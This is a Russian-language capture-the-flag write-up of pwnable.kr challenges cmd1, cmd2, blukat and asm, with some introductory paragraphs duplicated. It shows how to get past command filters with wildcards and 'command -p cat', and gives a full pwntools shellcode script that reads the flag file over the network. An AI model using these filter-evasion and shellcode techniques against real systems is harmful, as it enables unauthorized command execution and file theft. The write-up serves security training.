В данной статье посмотрим как обойти легкий фильтр, разберемся как написать shell c помощью pwntools, а также решим несколько заданий с сайта pwnable.kr.
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Решение задания cmd1
Нажимаем на иконку с подписью cmd1, и нам говорят, что нужно подключиться по SSH с паролем guest.
При подключении мы видим соответствующий баннер.
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
Давай просмотрим исходный код.
Все очень просто: мы передаем программе команду и она исполняет её в командной строке, но сперва фильтрует слова flag, sh, tmр. Фильтрует flag, но не fla*.
Сдаем флаг и получаем еще одно очко.
Решение задания cmd2
Нажимаем на иконку с подписью cmd2, и нам говорят, что нужно подключиться по SSH с паролем задания cmd1.
При подключении мы видим соответствующий баннер.
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
Давай просмотрим исходный код.
Похоже на cmd1, но более сложный фильтр. Опять фильтрует flag, но не фильтрует fla*. Все осложнено фильтрацией слеша, но мы можем выполнить /bin/cat, как command -р cat.
Сдаем флаг и получаем очки.
Решение задания blukat
Нажимаем на иконку с подписью blukat, и нам говорят, что нужно подключиться по SSH с паролем guest.
При подключении мы видим соответствующий баннер.
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
Давай просмотрим исходный код.
Так, тут открывается файл с паролем, ксорится с ключем и выводит флаг. Вот только файл с паролем если прочитать файл с паролем, он выводит нам текст ошибки. На самом деле ошибка и есть пароль… Так как файл доступен для чтения группе, а мы состоим в данной группе.
Сдаем флаг и получаем три очка.
Решение задания asm
Нажимаем на иконку с подписью asm, и нам говорят, что нужно подключиться по SSH с паролем guest.
При подключении мы видим соответствующий баннер.
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
Нам оставили readme, прочитаем его.
Таким образом мы должны отправить шеллкод, который прочитает файл с флагом, на порт 9026.
Отлично. Испольуем рwntools, определяем параметры для подключения и архитектуру.
from pwn import *
r = remote('pwnable.kr', 9026)
context.arch = 'amd64'
r.interactive()
Для составления шелла будем испольовать модуль shellcraft. Как будет работать шеллкод:
- Помещаем в стек строку — имя файла.
- Открываем файл, с именем с вершины стека (регистр rsp).
- Так как функция open вернет дескриптор открытого файла в регистре rax — первый параметр для чтения, будем читать в стек 64 байта, потому вторым параметром будет регистр rsp.
- Теперь пишем в стандартный вывод (дескриптор 1) флаг, который лежит на вершине стека (регистр rsp).
- Собираем наш шелл и отправляем.
from pwn import *
r = remote('pwnable.kr', 9026)
context.arch = 'amd64'
payload = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
payload += shellcraft.open('rsp', 0, 0)
payload += shellcraft.read('rax', 'rsp', 64)
payload += shellcraft.write(1,'rsp', 64)
shell = asm(payload)
r.send(shell)
r.interactive()
Сдаем флаг и получаем 6 очков. До встречи в следующей статье, где рассмотрим сложную уязвимость Use After Free.
Мы в телеграм канале: канал в Telegram.